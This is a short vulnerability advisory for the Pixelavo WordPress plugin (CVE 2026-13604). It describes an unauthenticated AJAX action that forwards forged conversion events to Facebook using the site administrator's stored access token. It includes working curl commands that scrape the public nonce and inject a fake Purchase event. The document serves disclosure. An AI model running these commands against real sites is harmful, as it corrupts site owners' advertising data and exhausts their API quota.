Pixelavo < 1.5.4 – Unauthenticated Facebook CAPI Event Injection via pixelavo_event AJAX | CVE 2026-13604

Description

The plugin registers an unauthenticated AJAX action, gated only by a nonce that it emits publicly on every front-end page, that forwards client-supplied event data to the configured Facebook Conversions API using the administrator's stored access token. This allows an unauthenticated visitor to inject arbitrary conversion events into the administrator's Facebook ads account and exhaust the configured API quota.

Proof of Concept

All requests are unauthenticated. The plugin must have a Facebook pixel + Conversions API access token configured (its normal server-side tracking setup); the nonce is emitted to front-end pages only when a pixel is configured.

1) Scrape the nonce from any front-end page:
NONCE=$(curl -s 'https://VICTIM/' | grep -oE '"nonce":"[a-f0-9]+"' | head -1 | sed -E 's/.*:"([a-f0-9]+)".*/\1/')

2) Inject a forged event, unauthenticated (no cookies):
curl -s 'https://VICTIM/wp-admin/admin-ajax.php' \
  -d 'action=pixelavo_event' -d "nonce=$NONCE" \
  -d 'event_name=Purchase' -d 'event_id=poc-001' \
  --data-urlencode 'data[value]=99.99' \
  --data-urlencode 'data[currency]=USD' \
  --data-urlencode 'data[content_name]=ATTACKER_INJECTED_EVENT'

Response: {"success":true,...}. The server forwards the forged event to graph.facebook.com/v21.0/<pixel_id>/events using the administrator's stored access token.